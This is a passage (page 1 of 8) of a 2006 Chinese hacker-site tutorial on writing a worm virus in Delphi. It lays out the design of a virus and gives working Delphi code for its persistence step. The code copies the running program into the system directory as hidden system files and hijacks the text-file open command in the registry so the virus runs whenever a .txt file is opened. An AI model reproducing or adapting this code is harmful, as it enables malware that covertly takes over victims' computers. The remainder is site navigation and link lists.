通行证: 用户 密码 网站建设  下载中心 社区论坛 信息公告 my小屋
联系我们
设为首页
加入收藏

 

qq,asp,php,jsp,xml,sql,.net,编程 程序 网页图象 建站经验 私服
首页 | 新闻资讯 | 编程开发 | 网页设计 | 图形图象 | 网络媒体 | 网站模板 | 数 据 库 | 投稿
论坛 | 操作系统 | 系统优化 | 网络安全 | 黑客技术 | 硬件学堂 | 硬件报价 | 服 务 器 | 地图
专题 | 应用软件 | 聊天通讯 | q q 专栏 | 建站经验 | 在线工具 | 站长club | 注 册 表 | 旧版
社会 | 游戏娱乐 | 设计欣赏 | 疑难解答 | 社区论坛 | 韩国素材 | 素材图库 | 广告服务 | 服务
当前位置:首页>>网络安全>>黑客技术>>正文 新版上线![旧版]
注:打开慢时请稍等

浅谈用delphi来编写蠕虫病毒

http://www.iyit.net  日期:2006-11-21 13:30:44  来源:  点击:
参加讨论

如果你有什么意见和建议,也请给我来信,大家互相学习,互相探讨!
}

前言:
可能大家想到病毒,第一反应就是可能是用asm来编写,或者是vbsript,而高级语言如delphi就好象不能编写一样,其实事实并不是这个样子的,只要我们花一些时间,照样可以写出简短而高效的病毒程序来,一点也不输那些用汇编写出来的程序哦。
一个病毒程序首先要短小,我们的目标是经过压缩后控制在30k以下。用过delphi的朋友都知道,如果在uses里面加入forms,classes.....等就会使目标文件非常的大,所以,在我们的程序里,我们要尽可能的不用这些库。我们只用windows,winsock,shellapi,sysutils(这个里面包含了一些常用的函数,比如对文件的操作,对字符串的操作,如果用自己的程序来代替,目标文件会更加的小)

首先,我们知道,一个病毒程序一般都分下面三个模块:
①保护模块;
②感染模块;
③发作模块。
下面我们就从这三个模块开始,分别实现他们的代码。

一)保护模块。
一般,我们都是把自身拷贝到系统的一些目录里,比如%systemroot%
那么,我们首先要取得这些特定的目录的路径
sdk里面给我们提供了一个这样的函数getsystemdirectory
uint getsystemdirectory(
lptstr lpbuffer, // 存放返回的字符串的缓冲区
uint usize // 上面的缓冲去的长度
);
相关的函数还有getwindowsdirectory可以得到%windows%的路径

得到了系统的目录后,第二步就是拷贝文件了。sdk为我们提供了一个函数copyfile
bool copyfile(
lpctstr lpexistingfilename, // 源文件的路径
lpctstr lpnewfilename, // 目标文件的路径
bool bfailifexists // 这是一个标志,如果目标文件已经存在,是否强制覆盖
);

拷贝文件完毕后,我们来把这个文件设置为系统和隐藏,那么一般情况是看不见该文件的,
除非选取查看所有文件,以及显示受保护文件。
同样,介绍一个函数setfileattributes
bool setfileattributes(
lpctstr lpfilename, // 需要设置的文件的文件名
dword dwfileattributes // 设置的值。
);
我们这里要设置为隐藏和系统,那么就为第二个参数传递file_attribute_hidden+file_attribute_system

下面就是最重要的,让该文件开机自动运行,我们一般都是写注册表,
首先用regopenkey函数来打开一个键,

 
long regopenkey(
hkey hkey, // 主键,比如hkey_local_machine
lpctstr lpsubkey, // 跟随的subkey
phkey phkresult // 存放函数返回这个打开的键的句柄
);
得到了hkey后,就可以用regsetvalueex来向该键写具体的值了。
long regsetvalueex(
hkey hkey, // 这个就是刚才我们得到的句柄
lpctstr lpvaluename, // 键名的地址
dword reserved, // 一般设置为0
dword dwtype, // 我们写的键的类型,字符串为reg_sz
const byte *lpdata, // 键值的地址
dword cbdata // 写入的键值的长度
);

下面,我综合上面的说明来给出一个简短的例子:
procedure selfcopy;
var
path,value:array [0..255] of char;
hk:hkey;
s:string;
begin
getsystemdirectory(path,256);
//取得系统的路径
s:=strpas(path);
//转换成字符串
copyfile(pchar(paramstr(0)),pchar(s+‘/ruin.exe‘),false);
copyfile(pchar(paramstr(0)),pchar(s+‘/virus_ruin.exe‘),false);
//把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe
setfileattributes(pchar(s+‘/ruin.exe‘),file_attribute_hidden+file_attribute_system);
setfileattributes(pchar(s+‘/virus_ruin.exe‘),file_attribute_hidden+file_attribute_system);
//设置刚才的两个文件为系统和隐藏
regopenkey(hkey_classes_root,‘txtfile/shell/open/command‘,hk);
value:=‘virus_ruin.exe %1‘;
regsetvalueex(hk,‘‘,0,reg_sz,@value,17);

本新闻共8页,当前在第1页  1  2  3  4  5  6  7  8  


编辑: [发送给好友] [打印本页] [关闭窗口] [返回顶部]
上一篇:qq尾巴病毒的visual c++实现探讨
下一篇:没有了
转载请注明来源:www.iyit.net
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。

 相关文章
qq尾巴病毒的visual c++实现探讨 黑客必知sql语句 my123.com病毒改首页流氓大面积爆发 紧
nt下获得admin权限的四种方法 nt下使用匿名获得admin权限 如何正确手工剿灭qq广告弹出的木马程序
入侵检测(id)faq 对iis写权限的利用
最新更新 热点排行 推荐新闻
浅谈用delphi来编写蠕虫病毒
qq尾巴病毒的visual c++实现探讨
黑客必知sql语句
顶尖高手写的alexa作弊完全揭秘
nt下获得admin权限的四种方法
浅谈用delphi来编写蠕虫病毒
qq尾巴病毒的visual c++实现探讨
黑客必知sql语句
防止黑客入侵adsl的一些技巧
与脚本病毒做斗争 几种常见的杀毒方法
恼人的dll后门完全清除秘诀
中了木马能够查的出来却杀不掉怎么办?
网吧频繁掉线(arp)与解决方法
危险无处不在 账号防盗防骗小经验
危险无处不在 账号防盗防骗小经验
轻松玩转木马之菜鸟篇
nt下获得admin权限的四种方法
对iis写权限的利用
让你的密码成为黑客的“耻辱”
入侵检测(id)faq
破解qq密码如此简单 
dos教程 dos命令基础应用
最新永久免费网游年列表,免费3d网游
永久免费网游《刀ol》11月3日开放新服
低格、分区、高格的应对--dos命令应用
合并vcd片断、快速删除文件夹--dos命令
远程破解盗窃qq密码的各种方法
一劳永逸--批处理命令(一)
sql server安装文件挂起错误解决办法
三分钟让你的系统变处女:acronis tru
让你的密码成为黑客的“耻辱”
入侵中国某大型商业网站服务器全记录
防止黑客入侵adsl的一些技巧
猖狂的sxs.exe病毒处理方法
qq2006 beta3 飘云版 3.73 下载
qq挂太阳专家 v1.0.3  下载
q宠保姆(vc版) v2.15  下载
my123.com病毒改首页流氓大面积爆发 紧
用qq wlm inowshare随意共享文件
win2000下php服务器安装攻略
iis环境下安装php5手记全攻略
php5:session会话的使用和分析

设置首 页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接
copyrights © 2004-2006 iyit.net all rights reserved.
网站合作、广告联系qq:147007642、466949678
易特网络技术 点击这里给我发消息